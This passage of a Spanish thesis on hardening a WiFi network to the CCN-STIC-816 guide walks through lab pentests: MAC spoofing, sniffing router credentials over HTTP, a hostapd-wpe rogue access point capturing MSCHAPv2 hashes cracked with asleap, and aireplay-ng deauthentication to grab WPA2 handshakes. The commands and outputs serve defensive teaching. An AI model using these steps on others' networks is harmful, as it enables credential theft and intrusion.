"1234", permitiendo a cualquier atacante acceder a los pardmetros de configuracion del router y
obtener acceso total a la red.

Tabla 4-10 Medida 10

Medida doméstica Medida CCN-STIC-816

Diversas opciones de gestion del AP Deshabilitar accesos a AP inseguros
Soluciona

Nuestro router nos permite configurarlo via telnet, via SSH, por HTTP, o HTTPS. En nuestro caso, se
desactiva la opcion de configurar por medio de HTTP, por no ser segura, y al no soportar HTTPS, sera
SSH el método de configuracion de los routers.

Tabla 4-11 Medida 11
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Medida doméstica Medida CCN-STIC-816

WPS activo WPS desactivado
Soluciona

WPS es un protocolo disefiado para facilitar la gestion de redes inalambricas en entornos domésticos
en los que se usan claves precompartidas. WPS se basa en la utilizacion de un cédigo PIN, que se
obtiene del punto de acceso. Este PIN esta compuesto por ocho cifras divididas en dos bloques de
cuatro cifras. La obtencién del PIN es sencilla y puede arruinar la seguridad de la red aunque el resto
de ella haya sido debidamente securizada.

Tabla 4-12 Medida 12

Medida doméstica Medida CCN-STIC-816

Puerto de acceso router: 22 Puerto de acceso router: 1537
Soluciona

Modificar el puerto de acceso mediante SSH al router es una capa de seguridad mas que afiadimos al
acceso al router. Para acceder a la configuracion del router no sélo hace falta usuario y contrasefia, si
no que ahora es necesario saber el puerto.

Tabla 4-13 Medida 13

4.2 Pruebas de pentesting

En este apartado se procede a mostrar como ciertas vulnerabilidades de seguridad son corregidas
siguiendo las medidas reflejadas en la guia CCN-STIC-816.

PRUEBA 0: FILTRADO MAC Y SSID OCULTO

Esta primera prueba se destina a una serie de medidas que, aunque no puedan ser consideradas
configuraciones de seguridad como tal, aportan una pequefia capa de seguridad, que evitarla ya implica
una serie de conocimientos técnicos basicos. Estas medidas son el filtrado MAC y el SSID oculto.

En este apartado se procederd a mostrar como se puede eludir esta primera capa de defensa.

En primer lugar, se va a eludir el filtrado MAC. Se empleara un filtro MAC que permite la
conexion de un dnico equipo con MAC B4:9D:0B:5F:65:3C (véase Figura 4-1).

Interface Configuration

MAC-Filter

MAC-Address Filter [ Allow listed only v

MAC-List [B4:9D:0B:5F:65:3C )
Figura 4-1 Filtrado MAC de Red TFG

Para obtener el acceso a la red, la monitorizaremos con airodump-ng, software que se detallara
mas adelante. En la Figura 4-2 se pueden ver los equipos conectados a la Red TFG. En el apartado
STATION vemos conectado al equipo con MAC B4:9D:0B:5F:65:3C. Ya sabemos qué direccion
MAC queremos conseguir.
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CH 8 ][ Elapsed: 48 s ][ 2018-63-15 18:01

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
58:EF:68:44:7C:4F -55 100 471 82 ¢} 8 54e WPA2 CCMP MGT Red TFG
BSSID STATION PWR Rate Lost Frames Probe

58:EF:68:44:7C:4F B4:9D:0B:5F:65:3C -69 36e- 6 ] 199

Figura 4-2 Monitorizacion de Red TFG

Para cambiar la direccion MAC del equipo con el que queremos acceder a la red empleamos el
comando sudo macchanger mac= B4:9D:0B:5F:65:3C wlan0, la secuencia de comandos se puede ver
en la Figura 4-3.

:~$ sudo ifconfig wlan® down
[sudo] password for tfg:

:~$ sudo macchanger --mac=B4:9D:0B:5F:65:3C wlano®

Current MAC: 9a:f6:3a:0c:62:6c (unknown)
Permanent MAC: a4:17:31:40:fb:46 (Hon Hai Precision Ind. Co.,Ltd.)
New MAC: b4:9d:0b:5f:65:3¢c (unknown)

:~$ sudo ifconfig wlan® up

~$ D

Figura 4-3 Cambio de direccién MAC

A continuacion, abordaremos la medida de SSID oculto. Empleando un software como Kismet,
mencionado en el capitulo 3 las redes ocultas muestran su nombre directamente en la interfaz. En este
apartado se debe mencionar que, aungque la guia CCN-STIC-816 recomiende esta medida para
incrementar la seguridad, otras fuentes consideran insegura esta medida debido a los ataques KARMA
[56].

Los ataques KARMA aprovechan los mensajes probe request que algunos dispositivos WiFi
envian para detectar la presencia de redes WiFi conocidas. En este caso, en lugar de ser el router quien
informa de su presencia y el usuario el que confirma el acceso a la red, es el dispositivo el que busca la
red (emite) para conectarse a ella. De esta forma, conociendo cualquiera de las redes guardadas en el
dispositivo se puede crear un Rogue AP al que el dispositivo se conectaria.

La mayoria de los dispositivos actuales eliminaron el envio de estos mensajes probe request, sin
embargo, si se guarda el SSID de una red oculta, la unica forma de volver a conectarse a él es mediante
el envio de mensajes probe request. Por tanto, aunque nuestro dispositivo no sea vulnerable a ataques
KARMA, el tener una red con el SSID oculto guardada en el equipo nos hace vulnerables de nuevo.

PRUEBA 1: INTERFAZ WEB INSEGURA CON HTTP
En primer lugar, se demuestra como la interfaz LuCl es insegura en su version HTTP.

El empleo de HTTP implica que la transferencia de paquetes se hace sin cifrado. Se emplea
Wireshark para monitorizar la WiFi Red TFG. Se accede a la interfaz web LuCl desde el navegador
web, introduciendo en la barra de direccion 192.168.1.2 (Figura 4-4). Esta direccion abre la
herramienta de configuracion del router Master. En la Figura 4-5 se introducen las credenciales de

79



JESUS MuURNoz CASTANO

acceso a la web, nétese que ya el navegador nos avisa en la barra de direcciones del no cifrado de la
pagina.

CIONE 6 ® % 192.168.1.2/cgi-bin - Q0

Router1 | OpenWrt Backfire 10.03.1 | Load: 0.16 0.03 0.01

Authorization Required

Please enter your username and password.

Username

Password

Figura 4-4 Acceso a configuracion del router via LuCl

9 = & 1) ® % 192.168.1.2/cgi-bin/luci - /'/*, ' m o< a =

Router1 | OpenWrt Backfire 10.03.1 | Load: 0.16 0.03 0.01

Authorization Required

Please enter your username and password.

Username [&root

Password [T

DReset [@Login

Figura 4-5 Login en web LuClI

Como se ve en la Figura 4-6, cualquiera con el software Wireshark y un ordenador conectado a la
red podria obtener las credenciales de acceso al router Master y cambiar la configuracion. Incluso
dejando al administrador sin acceso al router, cambiando esas credenciales.

M wiFi - a] X
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
4 m ® RO QesEF S S |= QQQF

(W [ip.addr == 192.168.1.2 and http ~] Expresson...  +
No. Time Source Destination Protocol Length Info A
119 5.011097 192.168.1.176 192.168.1.2 HTTP 458 GET /cgi-bin/luci HTTP/1.1 i
221 .10.739962 192.168.1.2 192.168.1.176 HITP 59 HITP/1.1 200 0K (application/xhtml+xml)
= 416 15.587263 192.168.1.176 192.168.1.2 HTTP 606 POST /cgi-bin/luci HTTP/1.1 (application/x-www-form-urlencode..
i -969153 192.168.1.176 192.168.1.2 HTTP 479 GET /cgi-bin/luci/;stok=203e adc a al?statu..
-jf 467 18.088871 192.168.1.2 192.168.1.176 HTTP 59 HTTP/1.1 200 OK (application/xhtml+xml)
484 20.155802 192.168.1.2 192.168.1.176 HTTP 61 HTTP/1.1 200 OK (application/json)
499 20.353998 192.168.1.176 192.168.1.2 HTTP 393 GET /luci-static/resources/icons/signal-75-1@@8.png HTTP/1.1
500 20.354035 192.168.1.176 192.168.1.2 HTTP 391 GET /luci-static/resources/icons/signal-0-25.png HTTP/1.1
506 20.507670 192.168.1.2 192.168.1.176 HTTP 551 HTTP/1.1 200 OK (PNG)
511 20.517445 192.168.1.2 192.168.1.176 HTTP 765 HTTP/1.1 200 OK (PNG)
538 22.955021 192.168.1.176 192.168.1.2 HTTP 479 GET /cgi-bin/luci/;stok=203ef@d6d47adc76027f90a4fbl913al?statu..

553 25.024307 192.168.1.2 192.168.1.176 HTTP 59 HTTP/1.1 200 OK (application/json)

Frame 416: 606 bytes on wire (4848 bits), 606 bytes captured (4848 bits) on interface @

Ethernet II, Src: 9e:b6:48:0e:bc:6d (9e:b6:48:0@e:bc:6d), Dst: BelkinIn_44:7c:4d (58:ef:68:44:7c:4d)
» Internet Protocol Version 4, Src: 192.168.1.176, Dst: 192.168.1.2

Transmission Control Protocol, Src Port: 52049, Dst Port: 80, Seq: 1, Ack: 1, Len: 552

~ HTML Form URL Encoded: application/x-www-form-urlencoded
Form item: "username" = "root"
Form item: “password" "ruml!vpTypM"

Figura 4-6 Captura paquete HTTP con la contrasefia de acceso al router Master

PRUEBA 2: INTERFAZ WEB SEGURA CON TUNEL SSH

La siguiente prueba que se realiza es acceder a la interfaz LuCl activando previamente el tanel
SSH que se cred en el capitulo 3. Se accedera empleando el mismo navegador que en el caso anterior.
Se accede a través de la direccion 127.0.0.1:8000.

Previamente se lanza desde PUTTY el tanel, véase Figura 4-7.
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iﬂj PuTTY Configuration ? X
Category:
Session Basic options for your PuTTY session
Logging . L
STerminal Specify the destination you want to connect to
Keyboard Host Name (or IP address) Port
Bell 29
Features 5 .
Window onnection type:
Appearance ORrRaw  OTelnet ORlogin @®ssH O Serial
Behaviour
Translation Load, save or delete a stored session
Selection Saved Sessions
Colours
Connection
Data Default Settings Load
Proxy OpenWrt Luci Tunnel
Router1
Telnet R 2 Save
Rlogin outer
Router3 Delet
HSSH Routerd S
Serial

Close window on exit:
O Always O Never @ Only on clean exit

Figura 4-7 Lanzamiento OpenWrt Luci Tunnel

La Figura 4-8 muestra como se accede a la misma pagina a través del tinel.

<> C @ ® 127.0.0.1:8000/cgi-bin/luci v QW INB ¢ @ =
/] \ L WY

Routerl | OpenWrt Backfire 10.03.1 | Load: 0.11 0.05 0.01

Authorization Required

Please enter your username and password.

Username

Password

@Reset ([ Login

Figura 4-8 Acceso LuUCl a través de tinel SSL

Como se puede ver en la Figura 4-9, todos los paquetes de protocolo HTTP desaparecen y las
credenciales de acceso no se muestran en ningln paquete.

Lo mismo ocurre cuando se emplea PUTTY para acceder a configurar los routers mediante la
terminal. La informacion de los paquetes no es visible.
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A wisi = o X
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
A4 = ® EREG Q& EF IS QaqafE
(W] +| Expression...  +
No. Time Source Destination Protocol Length Info »

83 4.596123 192.168.1.248 224.0.0.251 MDNS 103 Standard query @x@@0@ PTR _googlecast. tcp.local, "QU" question PTR _6C064775. sub._googlecast. tcp.local, "QU" que.

84 4.597620 fe80::18c5:e83d:273.. ffo2::fb MDNS 123 Standard query @x@008 PTR _googlecast._ tcp.local, "QU" question PTR _6C864775. sub._googlecast._ tcp.local, "QU" que.

85 5.105018 192.168.1.2 192.168.1.176 Tcp 218 1537 » 53918 [PSH, ACK] Seq=16857 Ack=1589 Win=16560 Len=164

86 5.110376 192.168.1.2 192.168.1.176 TCcP 106 1537 + 53918 [PSH, ACK] Seq=17821 Ack=1589 Win=16568 Len=52

87 5.11e409 192.168.1.176 192.168.1.2 Tcp 54 53918 -+ 1537 [ACK] Seq=1589 Ack=17073 Win=1752@ Len=@

88 5.113820 192.168.1.2 192.168.1.176 Tcp 106 1537 » 53918 [PSH, ACK] Seq=17073 Ack=1589 Win=16560 Len=52

89 5.119183 192.168.1.2 192.168.1.176 Tce 106 1537 » 53918 [PSH, ACK] Seq=17125 Ack=1589 Win=16560 Len=52

90 5.119211 192.168.1.176 192.168.1.2 TcP 54 53918 » 1537 [ACK] Seqe1589 Ack=17177 Win=17416 Len=@

91 5.125806 192.168.1.2 192.168.1.176 Tcp 1514 1537 » 53918 [ACK] Seq=17177 Ack=1589 Win=16560 Len=1460

92 5.125937 192.168.1.2 192.168.1.176 TcP 182 1537 » 53918 [PSH, ACK] Seq=18637 Ack=1589 Win=1656@ Len=128

93 5.126000 192.168.1.176 192.168.1.2 TP 54 53918 + 1537 [ACK] Seq=1589 Ack=18765 Win=17520 Len=@

94 5.128778 192.168.1.2 192.168.1.176 TP 106 1537 - 53918 [PSH, ACK] Seq=18765 Ack=1589 Win=16560 Len=52

95 5.158551 192.168.1.2 192.168.1.176 TcP 106 1537 » 53918 [PSH, ACK] Seq=18817 Ack=1589 Win=16560 Len=52

96 5.158635 192.168.1.176 192.168.1.2 TcP 54 53918 » 1537 [ACK] Seq=1589 Ack=18869 Win=17416 Len=@

97 5.159273 192.168.1.176 192.168.1.2 TP 90 53918 » 1537 [PSH, ACK] Seq=1589 Ack«18869 Win=17416 Len=36

98 5.164544 192.168.1.2 192.168.1.176 = 98 1537 » 53918 [PSH, ACK] Seq=18869 Ack=1625 Win=16568 Len=36

99 5.164892 192.168.1.176 192.168.1.2 TCP 98 53918 » 1537 [PSH, ACK] Seq=1625 Ack=18985 Win=17380 Len=36

100 5.165279 192.168.1.2 192.168.1.176 Tcp 9@ 1537 - 53918 [PSH, ACK] Seq=18905 Ack=1625 Win=16560 Len=36

101 5.204318 192.168.1.2 192.168.1.176 Tcp 54 1537 » 53918 [ACK] Seq=18941 Ack=1661 Win=1656@ Len=@

102 5.204945 192.168.1.176 192.168.1.2 TCcP 54 53918 -+ 1537 [ACK] Seq=1661 Ack=18941 Win=17344 Len=@

103 5.620330 192.168.1.248 224.0.0.251 MDNS 103 Standard query ©x800@ PTR _googlecast._tcp.local, "QM" question PTR _6C@64775. sub._googlecast. tcp.local, "QM" gue. G

Frame 102: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface @

Ethernet II, Src: 9e:b6:48:@e:bc:6d (9e:b6:48:@e:bc:6d), Dst: BelkinIn 44:7c:4d (58:ef:68:44:7c:4d)
Internet Protocol Version 4, Src: 192.168.1.176, Dst: 192.168.1.2

Transmission Control Protocol, Src Port: 53918, Dst Port: 1537, Seq: 1661, Ack: 18941, Len: @

8 ef 68 44 7c 4d 9e b6 48 @e bc 6d 08 90 45 09
00 28 48 68 40 00 80 06 2e 65 @ a8 01 b co ag}
P1 02 d2 9e 86 01 70 df fe 86 44 6d c1 20 50 19

@ 7 Frame (frame), 54 bytes Packets: 103 * Displayed: 103 (100.0%) Profile: Default

Figura 4-9 Captura paquetes TCP tras activar tunel SSH

PRUEBA 3: OBTENCION DE CREDENCIALES FREERADIUS NO ROBUSTAS

Se decide comprobar la seguridad del sistema FreeRADIUS para el acceso a Internet. Se realiza
una primera prueba con el usuario Jesus y la contrasefia pollos. Emplearemos el software hostapd-wpe
para la comprobacion.

Hostapd-wpe simula un punto de acceso (Rogue AP) al que los usuarios se conectaran y recoge sus
credenciales de acceso, su usuario y contrasefia cifrada.

Después de instalarlo (Figura 4-10), configuramos el software.

:~$ sudo apt-get install hostapd-wpe

Leyendo lista de paquetes... Hecho
Creando arbol de dependencias
Leyendo la informacién de estado... Hecho
Se instalaran los siguientes paquetes NUEVOS:

hostapd-wpe
0 actualizados, 1 nuevos se instalaran, © para eliminar y 269 no actualizados.
Se necesita descargar 561 kB de archivos.

Se utilizaran 1.599 kB de espacio de disco adicional después de esta operacién.

Des:1 http://ftp.free.fr/pub/kali kali-rolling/main amd64 hostapd-wpe amd64 2.6+git20170713-0kali2 [561 kB]
Descargados 561 kB en 1s (651 kB/s)

Seleccionando el paquete hostapd-wpe previamente no seleccionado.

eyendo la base de datos ...

Figura 4-10 Instalacion hostapd-wpe

La configuracion permite editar un elevado nimero de pardmetros para hacer mas semejante el
Rogue AP al AP original. Entre los parametros podemos modificar el método EAP empleado, los
certificados de autenticacion a emplear, el SSID o el canal. Cuantas mas caracteristicas compartan,
mas sencillo es conseguir que un usuario se conecte de forma inconsciente al Rogue AP.

En nuestro caso, se realiza una configuracion sencilla en la que sélo se modifica el SSID. En la
Figura 4-11 se muestra el cambio del SSID hostapd-wpe a Red TFG, emulando la red del presente
proyecto.
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jinterface=wlane interface=wlan@

pap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap user eap user file=/etc/hostapd-wpe/hostapd-wpe.eap user
a_cert=/etc/hostapd-wpe/certs/ca.pem etc/hostapd-wpe/certs/ca.pem

kerver cert=/etc/hostapd-wpe/certs/server.pem o =/etc/hostapd-wpe/certs/server.pem
brivate key=/etc/hostapd-wpe/certs/server.key riva etc/hostapd-wpe/certs/server.key

private key passwd=whatever private key passwd=whatever

Hh file=/etc/hostapd-wpe/certs/dh dh_file=/etc/hostapd-wpe/certs/dh

ssid=Red TFd |
channel=1

Fap server=1 eap_server=1
Pap fast a 1d=101112131415161718191alblcldlelf eap fast a id=101112131415161718191alblcldlelf
ap_fast a id info=hostapd-wpe eap_fast a _id _info=hostapd-wpe

Figura 4-11 Cambio de SSID para hostapd-wpe

Como se muestra en la Figura 4-12 se emplea el comando:

sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf

Con el que se lanza hostapd-wpe cargando la configuracion que hemos establecido previamente.
Las primeras lineas de la interfaz son las que indican que se ha lanzado el Rogue AP y que un usuario
se esta intentando conectar a la red.

:~$ sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
Configuration file: /etc/hostapd-wpe/hostapd-wpe.conf
i interface wlan® with hwaddr a4:17:31:40:fb:46 and ssid "Red TFG"
: interface state UNINITIALIZED->ENABLED
: AP-ENABLED
: STA b4:9d:0b:5f:65:3c IEEE 802.11: authenticated
: STA b4:9d:0b:5f:65:3c IEEE 802.11: associated (aid 1)
: CTRL-EVENT-EAP-STARTED b4:9d:0b:5f:65:3c
: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25

mschapv2: Fri Mar 2 17:26:49 2018
username: Jesus
challenge: 55:29:a6:46:d4:3e:2a:f3
response: e4:17:67:50:06:ad:0d:30:e7:34:e6:ca:3b:d4:eb:7d:c6:2f:48:f6:1c:6e:3e:a2
jtr NETNTLM: Jesus:$NETNTLM$55a9a646d43e2af3$e4f7675006ad0d30e734e6ca3bd4eb7dc62f48f61c6e3ea2
: CTRL-EVENT-EAP-FAILURE b4:9d:0b:5f:65:3c
: STA b4:9d:0b:5f:65:3c IEEE 802.1X: authentication failed - EAP type: © (unknown)
: STA b4:9d:0b:5f:65:3c IEEE 802.1X: Supplicant used different EAP type: 25 (PEAP)
“Cwlan@: interface state ENABLED->DISABLED
wlan@: AP-DISABLED
nl80211: deinit ifname=wlan® disabled 11b rates=0

Figura 4-12 Lanzamiento hostapd-wpe

En la Figura 4-13 se muestra como, tras un intento de conexion con un movil Android al Rogue
AP, creado por hostapd-wpe, se capturan las credenciales del usuario, usuario en claro y la contrasefia
cifrada.

Fri Mar 2 17:14:37 2018
username: Jesus
challenge: fb:98:dd:7b:7e:fd:88:6¢
response: 70:b1:25:a9:fc:96:ea:3f: 1:70:10:23:e8:90:98:ed:dd:73:2a:a1:02:f8:75
TN TN S N T S T S U T U e T U o0ty 7O T2 E S T C o0 a s T U ZU T T U T U Z S esyusseutuT528a102 1875
: CTRL-EVENT-EAP-FAILURE b4:9d:0b:5f:65:3c
: STA b4:9d:0b:5f:65:3c IEEE 802.1X: authentication failed - EAP type: © (unknown)

: STA b4:9d:0b:5f:65:3c IEEE 802.1X: Supplicant used different EAP type: 25 (PEAP)
: STA b4:9d:0b:5f:65:3c IEEE 802.11: deauthenticated due to local deauth request

: STA b4:9d:0b:5f:65:3c IEEE 802.11: authenticated

: STA b4:9d:0b: :3c IEEE 802.11: associated (aid 1)

: CTRL-EVENT-EAP-STARTED b4:9d:0b:5f:65:3c

: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1

: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25

Figura 4-13 Obtencion credenciales usuario Jesus

A continuacién, se realiza un ataque de diccionario (se utiliza el fichero rockyou.txt) para obtener
la contrasefia en claro. Los datos a introducir son el challenge y response (Figura 4-14).
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:~$ zcat /usr/share/wordlists/rockyou.txt.gz | asleap -C dc:f0:2a:78:07:66:be:27 -R 29:30:d3:39:71:23:d5:2d:a6:7c:af:35:44:¢8:1f:b7:b2:29:0

4:d8:6e:6e:53:0e -W -D

Figura 4-14 Empleo diccionario para descifrado de clave

En la Figura 4-15 se muestra la contrasefia del usuario en claro (pollos).

:~$ zcat /usr/share/wordlists/rockyou.txt.gz | asleap -C dc:f0:2a:78:07:66:be:27 -R 29:30:d3:39:71:23:d5:2d:a6:7c:af:35:44:¢8:1f:b7:b2:a9:0
4:d8:6e:6e:53:0e -W -
asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com>
Using STDIN for words.
hash bytes: c834
NT hash: ddde725915cea6d99f69fbc75348c834
password: pollos

Figura 4-15 Contrasefia del usuario Jesus descifrada

PRUEBA 4: OBTENCION DE CREDENCIALES FREERADIUS ROBUSTAS

Seguidamente se repite el proceso empleando una contrasefia mas segura que sigue el patron
mencionado en el capitulo 3. La contrasefia es ‘tsml1!vpTypM1537°. El resultado es negativo (I've
given up. Sorry it didn"t work out), como se puede ver en la Figura 4-16 con esto se demuestra la
importancia del empleo de unas claves robustas por los usuarios de la red.

mschapv2: Fri Mar 2 17:26:49 2018

username: Jesus

challenge: 55:a29:26:46:d4:3e:2a:f3

response: e4:f7:67:50:06:ad:0d:30:e7:34:e6:ca:3b:d4:eb:7d:c6:2f:48:f6:1c:6e:3e:a2

jtr NETNTLM: Jesus: $NETNTLM$55a9a646d43e2af3$e4f7675006adod30e734e6¢ca3bd4eb7dc62f48f61c6e3ea2
wlan@: CTRL-EVENT-EAP-FAILURE b4:9d:0b:5f:65:3cC
wlan@: STA b4:9d:0b:5f:65:3c IEEE 802.1X: authentication failed - EAP type: © (unknown)
wlan0: STA b4:9d:0b:5f:65:3c IEEE 802.1X: Supplicant used different EAP type: 25 (PEAP)
~“Cwlan@: interface state ENABLED->DISABLED
wlan@: AP-DISABLED
nl80211: deinit ifname=wlan® disabled 11b rates=0

:~$ zcat /usr/share/wordlists/rockyou.txt.gz | asleap -C 55:a9:a6:46:d4:3e:2a:f3 -R e4:f7:67:50:06:ad:0d:30:e7:34:e6:ca:3b:d4:eb:7d:c6:2f:4

8:f6:1c:6e:3e:a2 -W -

- actively recover LEAP/PPTP passwords. <jwright@hasborg.com>
Using STDIN for words.
hash bytes: 0487
Could not find a matching NT hash. Try expanding your password list.
I've giﬁfn up. Sorry it didn't work out.
~$

Figura 4-16 Intento fallido de obtencion de contrasefia

Hostapd-wpe ademas genera un archivo log con el registro de los distintos intentos de conexion
con su correspondiente username, challenge y response para acceder a ellos posteriormente.

La conclusion que sacamos de las pruebas 3 y 4 es la siguiente, la eleccion de una contrasefia
robusta es importante. Sin embargo, si los usuarios toman ciertas medidas para evitar la conexion a
redes falsas directamente se ataja el problema de que nos puedan sustraer la contrasefia o ser victimas
de otro tipo de ataque. Para ello se debe concienciar a los usuarios de la red y se les debe educar en
buenas practicas como pueden ser, por ejemplo: no tener la busqueda de WiFi permanentemente
conectada o en caso de que el dispositivo lo permita guardar la BSSID del AP ademas de su ESSID.

PRUEBA 5: CRACKEO CONTRASENA WPA2 PERSONAL

En esta prueba se demostrara que los ataques realizados con el software aircrack-ng [57], una suite
que recoge una amplia variedad de herramientas, no funcionan frente a una configuracion de red
WPAZ2 Enterprise. Primero, se realiza una prueba en una red WPA2 Personal. Se empleara la red la
antigua red wificud, que a partir de ahora se llamara wcud_cuartel (el cambio de ESSID es ajeno a la
realizacion de este proyecto).

El objetivo de esta prueba es crackear la clave empleada para acceder a una red objetivo
(wecud_cuartel).

La prueba constara de seis pasos:

1. Activar interfaz de red Wireless en modo monitor con airmon-ng.
2. Monitorizacion de las distintas redes con airodump-ng.
3. Seleccion de la red objetivo a monitorizar.
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&

Monitorizacion de la red objetivo con airodump-ng.
5. Capturar mensajes handshake durante autenticacion de un usuario (se empleara aireplay-
ng).
6. Ataque de diccionario para obtener la contrasefia con aircrack-ng.
Para la realizacion de la prueba se emplea un adaptador de red wireless modelo SMCWUSBS-N3
(véase Figura 4-17) conectado al portatil con Kali Linux. ElI adaptador se muestra en el ordenador
creando la interfaz WiFi wlan1l.

Networks
G SMCWUSBS-N3

Figura 4-17 Adaptador wireless USB SMCWUSBS-N3

Para ver las interfaces WiFi disponibles, emplearemos el comando sudo iwconfig como se muestra
en Figura 4-18.

:~%$ sudo 1wconfig
no wireless extensions.

IEEE 802.11 ESSID:off/any

Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short 1long limit:2 RTS thr:off Fragment thr:off
Encryption key:off

Power Management:off

no wireless extensions.

IEEE 802.11 ESSID:off/any

Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off

Power Management:off

Figura 4-18 Interfaces WiFi disponibles en portatil

Se pueden ver dos interfaces con extension WiFi, wlan0 y wlanl. El adaptador del portétil es
wlan0 y el del adaptador USB es wlanl. Ambos se encuentran actualmente en modo Managed,
cumpliendo las funciones de conexion a la red.

A continuacién, se emplea el comando sudo airmon-ng start wlanl, que cambia el modo de
funcionamiento de la interfaz wlanl a monitor (Figura 4-19). La interfaz se renombra a wlanlmon. En
la Figura 4-20 se muestra que wlanl ya no esta listada y ahora se muestra wlanlmon, que se encuentra
en modo monitor.
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:~$ sudo airmon-ng start wlanl

Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'

PID Name

598 NetworkManager
671 wpa supplicant
676 dhclient

Interface Driver Chipset

wlan@ b43 Broadcom on bcma bus, information limited
wlanl rt2800usb Accton Technology Corp. SMCWUSBS-N3 EZ Connect N [Ralink RT3070]

(mac86211 monitor mode vif enabled for [phyl]wlanl on [phyl]wlanlmon)
(mac86211 station mode vif disabled for [phyl]wlanl)

Figura 4-19 Cambio de modo de trabajo de wlanl

:~$ sudo 1wcontig
no wireless extensions.

IEEE 802.11 Morde:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short long (imit:2 RTS thr:off Fragment thr:off
Power Management:off

no wireless extensions.

IEEE 802.11 ESSID:off/any

Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off

Power Management:off

~$ I:]

Figura 4-20 Lista de interfaces wireless tras lanzar airmon-ng

Una vez establecida la interfaz en modo monitor, procedemos a escanear el entorno para detectar
redes WiFi. Para ello empleamos el comando:

sudo airodump-ng wlanlmon

Se lanzaré la pantalla de monitorizacién que muestra la distribucién de la Figura 4-21.

CH 3 ][ Elapsed: 12 s ][ 2018-03-15 13:32
BSSID PWR Beacons #Data, CH MB CIPHER AUTH ESSID

AE:B6:D0O:0OE: -48
58:EF:68:44: -54
04:18:D6:7B: =79
04:18:D6:7B: -80
04:18:D6:78B: -89
04:18:D6:7B: -89
04:18:D6:7B: -92
04:18:D6:7B: =92
14:91:82:8C:0F: -92

11" 54e ccMpP PSK DIRECT-EWMSImSHE
8 54e CccMP MGT Red TFG

11 54e. ccmp PSK wcud2

11 54e. CCMP  PSK wcud_cuartel
draeba e CCMP  PSK wcud cuartel

1 54e. ccMpP PSK wcud2

11 54e. CCMP  PSK wcud_cuartel

11 54e. ccmp PSK wcud2

11 54e ccMpP MGT Red TFG

oUVwWwooOoouUuUuN
(S
HOoOOOMLODONO

BSSID STATION Rate Lost Frames Probe

(not associated) A4:17:
(not associated) C4:8E:
(not associated) 90:
(not associated) 64:
(not associated) FO:
04:18 :7B:1D: 38:
04:18:D6:7B:1D: DO:
04: : 78:
04: 5 54:
04:18:D6:7B: Ad:
04:18:D6:7B: 60:
04:18:D6:7B: F4:
04:18:D6:7B: 40:
04:18:D6:7B: c8:
04:18:D6:7B: FO:
04: : B4:
04:18:D6:7B:24: 08:

Red TFG

wcud _cuartel

-1
-1
-1
-1
-1
-24
-24
-1
-0
-0
-0
-24
-24
-0

6

COOHOOOOOWOOOOO OO
HONNRNKENHONWENRRO &

Figura 4-21 Pantalla de monitorizacién de airodump-ng

La pantalla se divide en dos bloques, superior e inferior. En el bloque superior aparecen las redes
WiFi que se detectan desde la posicion del ordenador.
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De este blogue nos interesan los siguientes parametros:

BSSID: direccion MAC de los AP’s.

CH: canal de trabajo de los AP’s.

ENC: encriptacién empleada, que puede ser: OPN (abierta), WEP, WPA o WPAZ2.
CIPHER: cifrado empleado, puede ser TKIP 0 CCMP.

AUTH: método de autenticacion, puede ser PSK o MGT (indica el empleo de un servidor
RADIUS).

e ESSID: nombre de la red.

El bloque inferior muestra todos los usuarios detectados en las distintas redes. Nos interesan dos
pardmetros: BSSID (direccion MAC del AP al que esta conectado) y STATION (direccion MAC del
dispositivo usuario).

En este punto seleccionaremos qué red es la objetivo. Elegimos la cuarta red que aparece en la
Figura 4-21, wecud_cuartel con BSSID 04:18:D6:7B:1D:A0; la red trabaja en canal 11. Seguidamente,
se procederd a monitorizar esta red. Empleamos el siguiente comando:

sudo airodump-ng -c 11 -bssid BSSID 04:18:D6:7B:1D:A0 wlanlmon -w ~/Descargas

Con -w ~/Descargas, airodump-ng crea un archivo de registro de la monitorizacion, necesario
para el proceso.

El objetivo de monitorizar la red es capturar los paquetes de autenticacion (handshake) de un
usuario que se conecta. Se presentan dos opciones para esto, esperar hasta que un usuario se conecte a
la red o forzar la expulsion y conexién de un usuario que ya esté conectado. Para la segunda opcion se
emplea aireplay-ng.

De forma paralela a la monitorizacion de la red lanzaremos aireplay-ng con el siguiente comando:

sudo aireplay-ng -0 2 -c 78:34:84:D6:C6:A6 -a 04:18:D6:7B:1D:A0 wlanlmon

Siendo:
e -0: el método de ataque a realizar, 0 es desautenticacion.
e 2: el nimero de veces que se repite el proceso.
e -c: ladireccion MAC del cliente.
e -a:ladireccion MAC del AP.
e wlanlmon: la interfaz que monitoriza.

Con este proceso se fuerza la captura del handshake. Se muestra en la Figura 4-22 la pantalla de
monitorizacion de la red y el aviso de captura del handshake.

87




JESUS MuURNoz CASTANO

CH 11 ][ Elapsed: 24 s ][ 2018-03-15 13:53 ]§ WPA handshake: 04:18:D6:7B:1D:A@

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
04:18:D6:7B:1D:A0 -83 90 231 1326 52 11 54e. WPA2 CCMP PSK wcud cuartel
BSSID STATION PWR Rate Lost Frames Probe

04:18:D6:7B:1D: B4:9C:DF:1A:E5:9B E =
04:18:D6:7B:1D: 98:CA:33:88:42:21 = de=
04:18:D6:7B:1D: E0:99:71:AF:24:55 = le-
04:18:D6:7B:1D: 7C:E9:D3:4C:3B:6F = je=
